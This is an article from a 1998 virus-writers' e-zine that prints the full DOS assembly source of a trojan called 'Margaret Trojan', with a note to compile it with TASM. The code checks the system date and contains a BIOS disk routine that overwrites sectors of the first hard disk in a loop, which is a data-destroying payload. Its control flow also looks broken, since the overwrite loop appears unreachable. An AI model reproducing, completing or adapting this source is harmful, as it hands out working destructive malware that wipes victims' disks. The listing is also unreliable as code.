ฤฤฤฤฤฤฤ[PVW4.019]ฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤฤ
Written for the : Pinoy Virus Writers E-Zine #4
DATE : Late September 1998
                                % % % % %

                               - = %|% = -

 ษอออ   sOuRcEs !!!  ออออออออออออออออออออออออออออออออออออออออออป
 ศอออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออผ

 NAME : Margaret Trojan
 AUTHOR : Lorz

-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ--
;Lorz----Margaret Trojan
;I compiled it with TASM---It's a trojan dumbass!!!!!!!!!!!!
.model tiny
.code
public lorz
        
        call load_sec

lorz:
        xor dx, dx            
zrol:   mov ah,2ah                 
        int 21h                   
        cmp dl,15                
        je lorz           
        jmp rnd_num       
    
lorz1:        
        mov cx, 1             
        mov ax, 311h         
        mov dl, 80h
        mov bx, 5000h
        mov es, bx
        int 13h              
        jae lorz2           
        xor ah, ah
        int 13h              
lorz2:
        inc dh               
        cmp dh, 4             
        jb lorz1             
        inc ch            
        jmp lorz          

load_sec:
        push cx
        push ds               ;save regs that will be changed
        push ax               ;save drive number
        push cs
        pop ds
        push cs
        pop es                ;make es and ds the same as cs
        mov ax, 0dh
        int 21h               ;reset disk
        pop ax                ;restore drive number
        mov cx, 1
        mov bx, offset sec_buf
        int 25h               ;read sector into buffer
        pop ds
        pop cx
        ret                   ;restore regs and return
sec_buf dw 100h dup(?)

rnd_num:
        push cx
        push dx               
        xor ax, ax
        int 1ah              
        xchg dx, ax          
        pop dx
        pop cx
        ret  
end lorz

-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ---ฤฤ-ฤ--
(C) Pinoy Virus Writers 1998
Lorz213@mailcity.com
